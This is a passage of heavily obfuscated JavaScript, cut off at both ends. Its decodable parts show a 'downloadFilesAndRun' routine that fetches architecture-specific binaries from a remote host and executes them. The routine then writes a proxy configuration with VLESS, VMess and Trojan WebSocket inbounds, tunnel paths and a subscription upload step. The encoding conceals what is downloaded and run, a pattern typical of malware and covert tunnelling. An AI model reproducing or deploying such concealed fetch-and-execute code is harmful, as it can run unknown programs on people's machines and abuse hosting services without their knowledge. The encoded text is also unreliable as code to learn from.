uTmEKm','BuDMzei','qxjNB0rVBwfPBG','zcbZDwnJzxnZzG','s1bZqKC','yMfZzty0','BNq6ihrYDwukCW','B3iG','re1LuLa','z25RtvK','AgvHzgvYCW','ywX0zxjjza','zKDPzfa','zs1UB2rLCW','Dhj1zq','yxbWBhK','Ehj2t0y','teXcvK0','cIaGicaGihnLCG','y2mZltrIm2yToq','s2HkthO','Dgv4Dc9WBgfPBG','rMX3Bum','C3rHDhvZ','BwWIid4Vzgv2lW','r3nduxa','uM16z3K','zgnVBMy','BwfW','r2vWvhG','Dw5SAw5Ru3LUyW','thbLuuu','ywnJzxnZihrHCW','zxHJzxb0Aw9U','DxjLoIbMywXZzq','zIaVAw0G','ELfpuLG','zNjVBq','rKrYvMC','ndy5nJKXmMDmsuLYzG','yxzLzcbZDwnJzq','Dc1KzwXHEsa0ia','Cg9YDa','ywjIy2nJlMH1BG','l2fWAs9HzgqTCW','ugj3wgy','v2XKu2fwBfvrBq','ru9AvgK','z2LUuMvXDwvZDa','CM0GlxjMia','B28UC2vYDJaWlG','C2LVBIbHDxrVia','suPfC3C','qvjht19bvvri','B3rVy29SigH0Da','DhjHy2u','zM9YrwfJAa','wu1gsfi','y2rfzLK','yMXVy2S','CM9Qyw4TyxjNBW','CNrFCgvYAw9KoG','CgrHDguGls1WCG','zNvgsve','CLvrqNe','B2DzzLe','zvn0CMvHBq','DMLJztOGAhr0Ca','DcbMywLSzwqGzG','cNrSCZOG','tNvzvxG','ywrLzcbZDwnJzq','CK96uwe','Dw5UAw5N','CgfZC3DVCMq','igeGzMLSzsbMBW','tKvAsefFs0vz','EMPUAue','yxfXAuO','EuzuyuW','rw1WB3DLCM1LBG','DwukAxbFCMvWBW','qvjht19qt1ju','y0TQsgW','BMCGB24GCg9YDa','A2Tkzfy','qNfdwuq','CMrsAKq','sKTRywq','zMLYzwzVEa','EwmUBw4VywDLBG','yxr1CZO0mdqkia','zdy0lNnZC3mUBG','txHtyxy','nJaJ','z054thi','D2LJEuK2swXWCq','DxrLoIbMywXZzq','DxrMltG','s3jVB1e','vMXOzM4','iIa+ic9KzxyVBG','DhvUBMvSlMPZBW','svLVy2O','DeXQuxG','wxbpwLO','Dw50CNLFy29Kzq','wu1MtLi','qxbWigLZihj1BG','zgDLlwLWlxzLCG','oGOGicaGicaGia','C2fIBgvFBMf0oG','Ew5J','l3zTzxnZlwfYzW','cNvZzv9NAxrLzq','DhjPBq','igLUzM8Gls11CG','vgHHBMSGEw91ia','q2fUj3qGzMLUza','ls10Bhm','rxjYB3iGAw4GCW','mJa5nG','r3n3yMK','u0XvCfi','DhjVAMfU','y29UC29Szq','swfcrfq','vwXqDhK','v05rAfu','m3WXFdr8mhW1Fa','tezzB2G','q2rWDKy','C3rYAw5NAwz5','uhPLzvi','C3q6','vw5Oyw5KBgvKia','Ecz0ExbLpxDZjG','sM9lwey','qwf5zhu','AxnQCem','y3jLDdOG','BNbTihj1BM5PBG','C2vJDxjPDhK','igH0DhbZoI8VCW','zqP0zw1WzxjHDa','AuHyEw4','CfbKrvK','BwvZC2fNzq','D3jPDgvgAwXLuW','mJaYnG','lwf1Dg8TDxbKyq','m0zLzcuZrdi1nG','wMLfBhO','Dg8GDhvUBMvS','qK9AA3a','DwjZy3jPChrPBW','rxjYB3iGCMvHza','z1bKAKK','r1PZrMS','q0Dvy3a','s09Hvem','qMnsAgi','rwnvCuu','AM9PBG','rMDku2m','u1vcx1bbveG','AZfpv001twPnna','yKjzzgy','zMLUAxnO','C1n5rhK','qvvuscb2yxjPyq','BNv4yuy','vhLKuwm','ren6vvm','wNnWrMG','DKXbCMW','qw15A2e','Ahr0Chm6lY9HCG','ChvZAa','y2rUCY5KB29UlG','y3vYBcaTC20Gnq','DMn0zuG','CdiGCNvUic0TDa','Bty0lNnZC3mUBG','yMXLigLZigvTCa','BcaYpIyXicy','zgvSic9Mic9Xia','zMTjueC','sKHbvee','C3nMDwXSEq','wMPoA1PQtxHjAq','BwLZBwf0y2GGva','B3LTwg0','zgvZDa','zgfmrhu','thrZBgW','vhLiCfe','DgXZ','zgvJCNLWDgLVBG','DKzmAg8','igLZihj1BM5PBG','tKvAsefFue9sva','tLrAA09ezg1ova','zM9YihvZAw5Nia','DKXqwe4','AejOwMu','Bgv2zwW','y29UC3rYDwn0BW','D01ptwi','q29UDgvUDc1uEq','zMfSC2u','igzHAwXLzdOG','AYbHzgrLzcbZDq','shvUy0K','zgLZywjSzv9JBW','r0Pvy1a','BgX5','ndG0nJjTCgDLzgG','s29wDfm','s05XsKC','zMXVB3i','sKfxwM8','ALDsCwi','Aw50icqYnIiTiG','DgLJigfJy2vZCW','EgPTB00','r0zfEuy','Aw5JBhvKzxm','C3vIC3rYAw5N','EevXC3C','y3rVCIGICMv0Dq','DgvZDa','A1fQs2G','uw1qz3i','whnlyLq','jde4FsCGFcbZzq','kcGOlISPkYKRkq','rg93BMXVywqG','q0zqt1ju','l3zSzxnZlwfYzW','wMvJDwm','qwrKigf1Dg9Tyq','tK5Lvu0','Cw1IzvK','C2v0DgLUz3m','C2vUza','Dxz3EhL6','zxnZ','BI9QC29U','zxvmDuC','zhP1uxi','naPZzxj2zxi6ia','mteYodGYDKrMCwPI','D2vIihj1BM5PBG','yKvKD3K','Bw1HBMrFzxHLyW','oYbJAgfYC2v0pq','qvjht19et01bsq','A29fBei','DgnW','BxvLBNC','yLPQCLO','BMv0l2fKzc11CG','B24GDxbSB2fKzq','tNDODKK','BgvUz3rO','vhfVu3q','BM9Uzq','wxjqyLm','B0DmtxG','sfz2tfC','Cw5Ztu0','ChjVDg9JB2W','rLzgshu','uuzAz1O','EKvHqxe','ywjJzgvMz2HPAG','DgHPCYbZy3jPCa','yxjT','ENjJv1e','uuXjy2K','z2TQDKG','Bwf0y2G','DxrPBMCGy29TBq','BdOVlZGUoc44lG','wKDABfL6ttnzva','DK5kBwi','tencBuW','CK1ADLe','jMzWpwzPCMvMBW','Dg9tDhjPBMC','CuHWu0y','BMLUzW','lM9YzW','rwnHBM8','A0TxBum','BIaTlxnRAxaTCa','Ahr0Ca','zKnoEvi','ugT5Cey','AwfSCY1MAwXLoG','qKv3vu8','ic1Jici','A3fjC0u','y3bOC3G','uhPZsLK','DwXSidi+jJeGjG','cMrPC2fIBgvFzG','yxjTnJq','oIbMywXZzqP1Dq','cIaGica','BcbODhrWoI8VBa','zMLSDgvY','y2HTB2q','tKP5Du0','t29ArgC','D2LUmZi','veLgDxG','Dw5SAw5R','sKzdv1e','vu9bvxq','BguG','DgfN','BJ1UB25LjNnLyW','twztz2C','CMfHENC','iaOGigLUz3jLCW','uNvODfm','l2nVBMzPzY5QCW','turNrLe','mJa4mW','l3rYB2PHBI1HCG','v2H0DNO','ndu1AgTiD3zX','BgLZDc50Ehq','refzEgW','zdOG','wLzeyvy','B0HzqKW','ywvQzxC','C2v0','BM1IvLu','EtOGDhj1zqOGia','uM9yvhC','Bg9N','lcbYzs1YDw5UAq','Chrhwxu','cIaGcNzTzxnZoG','jNbHDgG9jtjgDG','EhrSCY1YChj4lq','ls1JB25MAwCG','stnnv1L6wKDwBa','CMvFDgXZoIb0CG','B3v0yM91BMrZ','BfPPtu0','wxvMDMW','C2jZtNG','D3ntzxr0Aw5NCW','DLH5BgK','C3vIC2nYAxb0Aq','BMv0','ls1SB2DSzxzLBa','EgXQvfu','ywrK','CM4GDgHPCYiPka','tKXmzLi','DM1LC3m','A2nVvKi','vM9yq3u','ELLYzxq','CgTPBgWGlwyGiG','y1PysvK','BgLZDgvU','DuLHu1i','l3r1BM5LBc55Bq','ywnJzxnZ','zevzAwS','runevKy','tKjTzeC','vuH5B2y','odq0mW','C2n5','ic1Jia','sgPHzxy','qvvut19bq0nfuW','mJa4nW','CxvPyW','l2rLDI9UDwXS','q2HktgW','y29UzMLNlNLHBq','rxjYB3iGzg93BG','sLznAeG','Bwv0ywrHDgfpBG','BdOGAhr0Cdikia','t1L2ENi','x3rVx3vWz3jHza','y2XLyxi','mti3lJaUmc4X','CMLREem','DcX1C2uGDg9Rzq','AgfIvvy1v2XKrW','zxHWCMvZCW','B2C6','Eu1prgy','ihrHC2SGzMfPBa','CM9JCYa+l2rLDG','Aw5MBW','tvzTCKm','vuDLrxq','wMT4Ahu','DevZrvG','DNfewhq','r0HKtMS','otfKotaZ','CdiGls1SB2DMAq','zM9Yia','ode1mJC4A1bRte1A','ndu5ntq5qKrrtgDh','cIaGChjVDg9JBW','jtngzwqLm0qYnq','zvH5tha','Bwf0AwmGywnJzq','ugTuywC','l3n1yI50EhqGCW','ExPIzfe','ic0TzgLZywjSzq','Dw5ZAgLMDa','DMLZAw9U','C25P','AefuAgu','s0rptfi','mte3mJa4ouHtsMzssq','u1bjDKW','BgvZoG','EwmUBw4VD2vI','AwDmBvu','qM1MExq','y2XPzw50CW','wxzfsNK','vxPhqvq','cIaGy3jLzgvUDa','AgrJDvy','uu12sLO','EfHtve5AywTSma','qvjht19bvvriia','DujiEKS','DgvYEc5KCgrUCW','DgfIBgu','sMPfELy','DcWGzw5QB3KH','nwzLltnHndy3zG','l2fWAs9KzwXLDa','wvHnALy','DMXLC3m','C3HvDhe','AxngAwXL','wMzztM8','BMn0Aw9UkcKG','shnQC2q','id4GBNvSidi+jG','Aw5NCW','B0rVBwfPBG','AvbKzhG','se9szva','AKrZBuu','D0PADMS','rLPTrNy','DhvUBMvSlNLTBa','wKzfzNu','ywXWBG','CKPSyKO','CNLJtxy','vevzBxa','ig5VDcbMB3vUza','Cg9ZDa','v2rWrvO','tu12vxm','ywjSzv9Zzw5KxW','DgfYDhnLCNzLCG','vLLot0W','x19WCM90B19F','EeDTr3m','C2vHCMnO','rwTLzKK','te5rywi','yxrLoIb0CNvLcG','txrzvfzRtvmWma','Ag9ZDa','wgLxDLu','CeTZv2e','D011vwS','AgfZ','yw5KoIa','Evj1Bei','C0HtuwW','wNjhz0y','AfPpy2W','C25PzMzPBMC','Cg9W','BZ9Lzd0YntyW','CK5PCuS','Be9Ztfm','zMLSzu5HBwu','ruzUA0y','sLv3y1y','wuTyy2G','zffwrvy','ls1UBY1HDxrVDq','zxHPC3rZu3LUyW','zM94v0e','yxjJAa','oI8VBg9JywXOBW','DgHLBG','C0nbChe','p2vUy3j5ChrPBW','ywfYy2G2na','CgXHDgzVCM0','qwHNCha','D2fYBG','rxjYB3iGzxHLyW','mtC1nZe2m0fkwMDhsW','veXwq1K','txn2qLG','BwTKAxjtEw5J','z0Xqr3e','u2TPChbPBMCGyq','A2LWx3bYB2nZxW','vM9pvgm','z2v0','C25Ppq','zevYuwm','C3mGDgfZAW','r2vHEve','CMvJDxjZAxzL','DxjS','zYbLCNjVCJOG','A2XTBM9WCxjZDa','B3n0BMfTztOG'];_0x3591=function(){return _0x391c78;};return _0x3591();}async function downloadFilesAndRun(){const _0x30331d={'UhLVb':_0x57f598(0xbb,0xba,0x6b,-0xbf),'YKXch':_0x57f598(-0xa6,0x125,0xad,0x18b),'TdkpJ':'/vless-arg'+'o','DyZer':_0x57f598(0xdf,-0x21,-0x15,-0x7b),'YpOZZ':_0x467296(0x49c,0x36e,0x361,0x3c5),'AXfIO':'/vmess-arg'+'o','tLjQx':_0x467296(0x3d4,0x2ae,0x500,0x3eb),'nyPFR':_0x57f598(0x122,0x219,0x112,0x278),'Fpllb':_0x467296(0x34a,0x2c6,0x21f,0x252),'MTlvh':function(_0x4316f2,_0x336cd){return _0x4316f2===_0x336cd;},'oHYBL':_0x467296(0x2f4,0x2be,0x19c,0x2af),'JJkPn':function(_0x1908d4,_0x3f8517,_0x22a054,_0x2e0822){return _0x1908d4(_0x3f8517,_0x22a054,_0x2e0822);},'FZmFv':function(_0x5058ed,_0x1af1f4){return _0x5058ed(_0x1af1f4);},'vcSqE':_0x467296(0x425,0x3cf,0x3cb,0x435),'PkTag':'https://ar'+'m64.ssss.n'+_0x467296(0x369,0x37f,0x44e,0x4cf)+'t','NwhvI':_0x467296(0x53d,0x43b,0x4c8,0x43e)+_0x467296(0x36b,0x47c,0x467,0x2af)+_0x57f598(-0x74,-0x1ac,-0xbe,0x13)+'t','NBmdG':function(_0x24b9c0,_0x19d6c5){return _0x24b9c0===_0x19d6c5;},'FDrVg':'https://ar'+_0x467296(0x3c6,0x3b8,0x2cc,0x38f)+_0x467296(0x52e,0x697,0x67d,0x5d5),'vFLho':_0x467296(0x53d,0x67c,0x4c3,0x592)+_0x57f598(0x1e,-0x210,-0xbc,-0x12c)+_0x467296(0x52e,0x5a4,0x62a,0x4b7),'hThXG':_0x57f598(-0xcf,0x8c,-0x69,-0x1ac),'SPIvL':_0x57f598(-0x1eb,-0x219,-0x137,-0x64),'MxSav':'Subscripti'+_0x467296(0x416,0x2f3,0x360,0x56d)+_0x467296(0x312,0x22c,0x3ef,0x20b)+'ully','rJlbJ':_0x57f598(0x13a,0x1cb,0x165,0x1e4)+'d!','GeayQ':function(_0x19a3fe){return _0x19a3fe();},'kKWmC':function(_0x4a4b14,_0x5ea7b5){return _0x4a4b14(_0x5ea7b5);},'bACpo':_0x467296(0x320,0x1d2,0x352,0x396),'CdpvF':'gNxLr','UHyof':_0x467296(0x495,0x565,0x49e,0x50d)+_0x57f598(0x1fd,0x1a0,0x190,0x46)+_0x467296(0x4c0,0x570,0x3e2,0x4ab),'TLVCY':_0x57f598(-0x42,0x110,0x122,0x1d8),'LIfpp':_0x57f598(0x15d,0x94,0x64,-0xf1),'FfKQG':_0x467296(0x388,0x242,0x364,0x2cb),'kqIsE':_0x467296(0x490,0x432,0x37e,0x5ae),'QmPgr':_0x467296(0x3e1,0x502,0x34c,0x470),'NNeUM':_0x467296(0x494,0x338,0x3af,0x5b1)+'l','ZfYNo':function(_0x4bcc1b,_0x44d530){return _0x4bcc1b===_0x44d530;},'hAThe':_0x467296(0x38e,0x47b,0x340,0x461),'Ecano':_0x57f598(0x1c4,0x287,0x182,0x1a6),'CjRZA':'2083','sVvxA':_0x467296(0x579,0x58b,0x692,0x4a3),'lZiMM':_0x467296(0x4c8,0x4ff,0x461,0x3ef),'zjniA':function(_0x1926cd,_0x50a5de){return _0x1926cd!==_0x50a5de;},'YXMjV':_0x467296(0x5b4,0x544,0x462,0x5d7),'pDJht':function(_0xbfdee0,_0x1a0ceb){return _0xbfdee0===_0x1a0ceb;},'Ltsll':_0x467296(0x40d,0x500,0x51c,0x310),'INGbD':'qQBRh','FVFHu':function(_0x371b49,_0x84b779){return _0x371b49(_0x84b779);}},_0x5ece09=_0x30331d[_0x57f598(0x40,0x229,0xfc,0x1d7)](getSystemArchitecture),_0x3382eb=_0x30331d['kKWmC'](getFilesForArchitecture,_0x5ece09);if(_0x30331d[_0x467296(0x489,0x519,0x3af,0x45d)](_0x3382eb[_0x57f598(0x13d,-0xd7,-0xf,0x4f)],0x488+-0xb33+-0x1*-0x6ab)){if(_0x30331d[_0x57f598(0xd1,0x170,0x135,0x179)](_0x467296(0x320,0x48a,0x380,0x34d),_0x30331d[_0x57f598(0x2,0x28,0x164,0x19c)])){console[_0x57f598(-0xa9,0x148,0x40,0x187)](_0x57f598(0xc0,0x83,-0xa2,-0xcc)+_0x57f598(-0x2d,-0x9b,-0xcd,-0xcf)+_0x57f598(0x2a,0x1c5,0x132,0x141)+_0x467296(0x5aa,0x703,0x45c,0x556)+'ecture');return;}else return null;}const _0x47aa25=_0x3382eb[_0x57f598(-0x236,-0x169,-0xfc,-0x152)](_0x552b7c=>{const _0x4e137c={'fuGvm':function(_0x530341,_0x409ec5){function _0x361cfd(_0xdbf131,_0x543867,_0x4b5204,_0x222d23){return _0x3323(_0x543867-0x37d,_0x4b5204);}return _0x30331d[_0x361cfd(0x761,0x68f,0x573,0x622)](_0x530341,_0x409ec5);},'XEWbY':function(_0x1c884d,_0x5d711c){function _0x1b7503(_0x12db66,_0x1c5dd0,_0x31e801,_0x57b16e){return _0x3323(_0x57b16e- -0x146,_0x1c5dd0);}return _0x30331d[_0x1b7503(0x25a,0x32c,0x236,0x1cc)](_0x1c884d,_0x5d711c);}};return new Promise((_0x331b5b,_0x2e75b6)=>{const _0x4eaa66={};_0x4eaa66[_0xe5fa1b(-0x7e,-0xb5,0x8b,0x9e)]=_0x30331d[_0xe5fa1b(0x2aa,0x343,0x22e,0x321)],_0x4eaa66[_0x8301ae(0xf2,0x69,0x1c9,0x286)]=_0xe5fa1b(0x5f,0x19f,0xf5,0x1f5),_0x4eaa66[_0xe5fa1b(0xb3,0x8a,0xaa,0x1a0)]=_0x30331d[_0x8301ae(0x24c,0x1cf,0x143,0x62)],_0x4eaa66['oGLMx']=_0xe5fa1b(-0x1d,0x137,0x147,0x254)+_0xe5fa1b(0x1a2,0x1fe,0x195,0x174),_0x4eaa66['Rmzgy']=_0x30331d[_0x8301ae(0x2e,0x26,-0xc6,0x6a)],_0x4eaa66[_0x8301ae(-0x44,-0x98,-0x1e,-0x151)]=_0x30331d[_0xe5fa1b(0x343,0x334,0x258,0x2ab)],_0x4eaa66[_0x8301ae(0xa,0x1e9,0x107,0x25e)]=_0x30331d[_0x8301ae(-0x11,-0x11c,-0x4d,0xb8)],_0x4eaa66[_0xe5fa1b(0x1fa,0x24d,0x117,0x42)]='http',_0x4eaa66['JAWZo']=_0xe5fa1b(0x28c,0x2d3,0x16c,0x96);function _0xe5fa1b(_0x20827e,_0x42e19e,_0x224ceb,_0x437286){return _0x3323(_0x224ceb- -0x156,_0x20827e);}function _0x8301ae(_0x4e4cbd,_0x35556a,_0x47fc16,_0x52b9a6){return _0x3323(_0x47fc16- -0x1f6,_0x4e4cbd);}_0x4eaa66['ptGYu']=_0xe5fa1b(-0xa,0x2a6,0x158,0x1cc),_0x4eaa66[_0xe5fa1b(0x115,0xaa,0x6a,0x84)]=_0x30331d[_0xe5fa1b(-0xbc,0xd4,-0x2f,-0x197)],_0x4eaa66[_0xe5fa1b(0x1a2,0x170,0x27e,0x185)]=_0x30331d[_0x8301ae(-0x4,0x32,-0x4e,-0xb5)],_0x4eaa66[_0x8301ae(-0x11c,-0x20f,-0xb9,-0x20f)]=_0x30331d['nyPFR'],_0x4eaa66[_0x8301ae(0xe8,0x7a,0xc2,0xa5)]=_0x30331d['Fpllb'];const _0x2dfd80=_0x4eaa66;if(_0x30331d[_0x8301ae(0x23a,0x2c0,0x197,0x29e)](_0x30331d[_0xe5fa1b(0xc1,0x10f,0x13c,0x226)],_0x30331d['oHYBL']))_0x30331d['JJkPn'](downloadFile,_0x552b7c[_0x8301ae(0x213,0xa0,0x140,0x174)],_0x552b7c['fileUrl'],(_0x28e136,_0x2bea11)=>{_0x28e136?_0x4e137c['fuGvm'](_0x2e75b6,_0x28e136):_0x4e137c['XEWbY'](_0x331b5b,_0x2bea11);});else{const _0x45b438={};_0x45b438[_0x8301ae(0x26,0x21b,0xc1,0x27)]=_0x2dfd80['BcRhb'],_0x45b438[_0xe5fa1b(0x19d,0x2ab,0x25a,0x223)]=_0x2dfd80[_0xe5fa1b(-0x8b,0xcc,0x8b,0x6f)],_0x45b438['loglevel']=_0x2dfd80[_0xe5fa1b(0x1fa,0x390,0x269,0x2eb)];const _0x58481c={};_0x58481c[_0xe5fa1b(0x1,0x14e,0xab,0x14b)]=0xbb9;const _0x246624={};_0x246624['path']=_0xe5fa1b(0xb0,-0x93,0x5b,0x26)+'o',_0x246624[_0xe5fa1b(0x1fd,0xd4,0xab,0x201)]=0xbbb;const _0x42e9cc={};_0x42e9cc[_0x8301ae(0x107,0x14a,0x1a9,0x1eb)]=_0xe5fa1b(0x243,0x19e,0x135,0x1d7)+'go',_0x42e9cc[_0x8301ae(0xa1,-0x58,0xb,-0x4f)]=0xbbc;const _0xbab6b={};_0xbab6b[_0x8301ae(-0x1b0,0x3b,-0x8c,0xb1)]=_0x2c93b4,_0xbab6b[_0xe5fa1b(0x93,0x1f3,0xfa,0x118)]=_0x2dfd80[_0xe5fa1b(0x92,-0xb,0xaa,-0x3e)],_0xbab6b[_0x8301ae(-0x66,0x2a,0x3e,0x184)]={},_0xbab6b[_0x8301ae(0x257,0x228,0x18f,0x20b)+_0x8301ae(0xf0,0x1bd,0x116,0x4a)]={},_0xbab6b[_0x8301ae(-0x66,0x2a,0x3e,0x184)]['clients']=[{'id':_0xa185e0,'flow':_0x2dfd80[_0x8301ae(0x1e,0x12f,0x57,0x17c)]}],_0xbab6b[_0x8301ae(-0x66,0x2a,0x3e,0x184)][_0x8301ae(0x12e,0xfe,0x10,0x134)]=_0x2dfd80[_0x8301ae(0x325,0x2a5,0x1c9,0x75)],_0xbab6b[_0x8301ae(-0x66,0x2a,0x3e,0x184)][_0x8301ae(0x2dd,0x263,0x1da,0x1f3)]=[_0x58481c,{'path':_0x2dfd80[_0x8301ae(-0x32,0x2c,-0x9c,-0xf3)],'dest':0xbba},_0x246624,_0x42e9cc],_0xbab6b[_0x8301ae(0x257,0x228,0x18f,0x20b)+_0x8301ae(0xf0,0x1bd,0x116,0x4a)][_0x8301ae(0x282,0x227,0x1d9,0x174)]=_0x2dfd80['ZiElz'];const _0x3ec08f={};_0x3ec08f['id']=_0x43c070;const _0x1c8d9d={};_0x1c8d9d[_0x8301ae(0x55,-0x153,-0x8c,-0x143)]=0xbb9,_0x1c8d9d['listen']='127.0.0.1',_0x1c8d9d[_0xe5fa1b(0x185,0xf0,0xfa,-0x31)]=_0x2dfd80[_0xe5fa1b(-0x42,-0x34,0xaa,-0x94)],_0x1c8d9d[_0xe5fa1b(0x65,0xed,0xde,0x1ce)]={},_0x1c8d9d[_0x8301ae(0x159,0x235,0x18f,0x148)+_0xe5fa1b(0x19f,0x18e,0x1b6,0xab)]={},_0x1c8d9d[_0xe5fa1b(0x65,0xed,0xde,0x1ce)][_0x8301ae(0x1aa,0x158,0xff,0x232)]=[_0x3ec08f],_0x1c8d9d[_0xe5fa1b(0x65,0xed,0xde,0x1ce)]['decryption']=_0x2dfd80[_0xe5fa1b(0x3b8,0x2bf,0x269,0x27e)],_0x1c8d9d[_0x8301ae(0x159,0x235,0x18f,0x148)+_0xe5fa1b(0x19f,0x18e,0x1b6,0xab)][_0x8301ae(0x23e,0x281,0x1d9,0xde)]=_0x2dfd80[_0x8301ae(-0x66,0x13f,-0x1e,0x130)],_0x1c8d9d[_0x8301ae(0x159,0x235,0x18f,0x148)+_0xe5fa1b(0x19f,0x18e,0x1b6,0xab)][_0x8301ae(0xf9,-0x44,-0x28,0xfc)]=_0x2dfd80[_0xe5fa1b(0x30c,0x128,0x269,0x253)];const _0x9b2c88={};_0x9b2c88['id']=_0x36d7e4,_0x9b2c88['level']=0x0;const _0x1b6826={};_0x1b6826[_0xe5fa1b(0x61,-0x91,0x14,0x7b)]=0xbba,_0x1b6826[_0xe5fa1b(0x277,0xd6,0x15e,0x15d)]=_0x2dfd80[_0x8301ae(0x2e,0x1c1,0x107,0x0)],_0x1b6826['protocol']=_0x8301ae(0x159,0x87,0x10f,0xec),_0x1b6826[_0xe5fa1b(-0x1b,0x53,0xde,0x168)]={},_0x1b6826[_0xe5fa1b(0xd9,0x1df,0x22f,0x256)+_0xe5fa1b(0x2bb,0xcd,0x1b6,0x274)]={},_0x1b6826[_0x8301ae(0x1c5,0xa,0x13b,0x261)]={},_0x1b6826[_0xe5fa1b(-0x1b,0x53,0xde,0x168)]['clients']=[_0x9b2c88],_0x1b6826[_0xe5fa1b(-0x1b,0x53,0xde,0x168)][_0xe5fa1b(0x12,-0x6e,0xb0,0x1de)]=_0x2dfd80[_0xe5fa1b(0x339,0x133,0x269,0x2f9)],_0x1b6826[_0xe5fa1b(0xd9,0x1df,0x22f,0x256)+_0xe5fa1b(0x2bb,0xcd,0x1b6,0x274)][_0xe5fa1b(0x387,0x2f0,0x279,0x392)]='ws',_0x1b6826[_0xe5fa1b(0xd9,0x1df,0x22f,0x256)+_0xe5fa1b(0x2bb,0xcd,0x1b6,0x274)][_0x8301ae(0xde,-0x26,-0x28,0xe7)]=_0xe5fa1b(0x1d9,-0x56,0xf5,0x7),_0x1b6826[_0xe5fa1b(0xd9,0x1df,0x22f,0x256)+_0xe5fa1b(0x2bb,0xcd,0x1b6,0x274)]['wsSettings']={},_0x1b6826[_0xe5fa1b(0xd9,0x1df,0x22f,0x256)+_0xe5fa1b(0x2bb,0xcd,0x1b6,0x274)]['wsSettings'][_0xe5fa1b(0x2d7,0x264,0x249,0x3a8)]=_0x2dfd80[_0x8301ae(-0x1d1,-0x13e,-0x9c,-0x75)],_0x1b6826[_0x8301ae(0x1c5,0xa,0x13b,0x261)]['enabled']=!![],_0x1b6826[_0x8301ae(0x1c5,0xa,0x13b,0x261)][_0xe5fa1b(0x2ad,0x15c,0x28d,0x31d)+'de']=[_0x2dfd80[_0xe5fa1b(0x143,0x1b5,0x117,0x166)],'tls',_0x2dfd80['JAWZo']],_0x1b6826[_0x8301ae(0x1c5,0xa,0x13b,0x261)][_0x8301ae(0x172,0xc7,0xd2,0x10d)+'ly']=![];const _0x28653={};_0x28653['id']=_0x5f5126,_0x28653[_0xe5fa1b(-0x128,-0x29,-0xb,-0x2d)]=0x0;const _0x2c6442={};_0x2c6442[_0xe5fa1b(0x202,0x282,0x19f,0x1a0)]=[_0x28653];const _0x50a9d6={};_0x50a9d6[_0xe5fa1b(0x1c,0x50,0x14,-0x64)]=0xbbb,_0x50a9d6['listen']=_0x2dfd80[_0xe5fa1b(0x11d,0x203,0x1a7,0x178)],_0x50a9d6[_0x8301ae(-0x72,0x4e,0x5a,-0xcb)]=_0x2dfd80[_0x8301ae(-0xa0,0xd7,0xa4,-0x49)],_0x50a9d6[_0x8301ae(0x13c,-0x76,0x3e,-0xac)]=_0x2c6442,_0x50a9d6[_0x8301ae(0x2ea,0x110,0x18f,0x5e)+_0xe5fa1b(0x21e,0x4f,0x1b6,0x1ab)]={},_0x50a9d6[_0x8301ae(0x1ca,0x17f,0x13b,0x261)]={},_0x50a9d6[_0x8301ae(0x2ea,0x110,0x18f,0x5e)+_0xe5fa1b(0x21e,0x4f,0x1b6,0x1ab)][_0xe5fa1b(0x176,0x223,0x279,0x140)]='ws',_0x50a9d6[_0x8301ae(0x2ea,0x110,0x18f,0x5e)+_0xe5fa1b(0x21e,0x4f,0x1b6,0x1ab)][_0xe5fa1b(0x213,0x2b9,0x14f,0x1cc)]={},_0x50a9d6[_0x8301ae(0x2ea,0x110,0x18f,0x5e)+_0xe5fa1b(0x21e,0x4f,0x1b6,0x1ab)][_0xe5fa1b(0x213,0x2b9,0x14f,0x1cc)][_0xe5fa1b(0x1a4,0x30a,0x249,0x143)]=_0x2dfd80[_0x8301ae(0x65,-0xe5,-0x36,0x127)],_0x50a9d6[_0x8301ae(0x1ca,0x17f,0x13b,0x261)][_0x8301ae(0x4,-0x41,-0xe0,-0x19d)]=!![],_0x50a9d6[_0x8301ae(0x1ca,0x17f,0x13b,0x261)][_0xe5fa1b(0x1d2,0x2dd,0x28d,0x359)+'de']=[_0xe5fa1b(0x46,-0x1f,0x113,0x142),_0x2dfd80['ZKDJV'],_0x2dfd80[_0x8301ae(0xa2,-0x138,0x27,0x15a)]],_0x50a9d6[_0x8301ae(0x1ca,0x17f,0x13b,0x261)]['metadataOn'+'ly']=![];const _0x5f5966={};_0x5f5966[_0xe5fa1b(-0x122,0x41,0x34,0xf1)]=_0x3a7c03;const _0x22bb6f={};_0x22bb6f['clients']=[_0x5f5966];const _0x5bd23e={};_0x5bd23e[_0x8301ae(0x1bf,0x219,0x1a9,0x1f9)]=_0x8301ae(0xaf,-0x8b,0x95,0x112)+'go';const _0xd5a60a={};_0xd5a60a[_0xe5fa1b(0xbd,-0x3f,0x14,-0xe2)]=0xbbc,_0xd5a60a[_0x8301ae(0x1c8,0x1e8,0xbe,-0xa6)]=_0x2dfd80[_0x8301ae(0x1e1,0x21b,0x107,0x42)],_0xd5a60a[_0x8301ae(-0xfb,0x6c,0x5a,-0x6c)]='trojan',_0xd5a60a[_0xe5fa1b(0x16e,0x61,0xde,0x19)]=_0x22bb6f,_0xd5a60a[_0xe5fa1b(0x269,0x356,0x22f,0x1de)+_0x8301ae(0xb5,0xb3,0x116,0x88)]={},_0xd5a60a[_0x8301ae(0x7e,0x7,0x13b,0x180)]={},_0xd5a60a[_0xe5fa1b(0x269,0x356,0x22f,0x1de)+_0x8301ae(0xb5,0xb3,0x116,0x88)][_0x8301ae(0x72,0x314,0x1d9,0x92)]='ws',_0xd5a60a[_0xe5fa1b(0x269,0x356,0x22f,0x1de)+_0x8301ae(0xb5,0xb3,0x116,0x88)][_0x8301ae(-0x8,0xd3,-0x28,-0xea)]=_0x2dfd80[_0x8301ae(0xa7,0x202,0x1c9,0x95)],_0xd5a60a[_0xe5fa1b(0x269,0x356,0x22f,0x1de)+_0x8301ae(0xb5,0xb3,0x116,0x88)][_0x8301ae(0x43,0x1e9,0xaf,0x1bf)]=_0x5bd23e,_0xd5a60a[_0x8301ae(0x7e,0x7,0x13b,0x180)][_0x8301ae(-0x67,-0xab,-0xe0,0x5)]=!![],_0xd5a60a[_0x8301ae(0x7e,0x7,0x13b,0x180)][_0x8301ae(0x2ea,0x1ec,0x1ed,0xa7)+'de']=[_0x2dfd80['BEwUO'],_0x8301ae(0x144,-0xfa,0xf,-0x81),'quic'],_0xd5a60a[_0x8301ae(0x7e,0x7,0x13b,0x180)][_0x8301ae(-0x89,0x179,0xd2,0x1e6)+'ly']=![];const _0x269caf={};_0x269caf['servers']=[_0x8301ae(0x251,0x1c0,0x1f1,0x215)+'l://8.8.8.'+'8/dns-quer'+'y'];const _0x2db00c={};_0x2db00c['protocol']='freedom',_0x2db00c[_0xe5fa1b(0x6a,0x1c0,0x12c,0x11e)]=_0x2dfd80[_0xe5fa1b(0x3,-0x62,-0x19,-0x168)];const 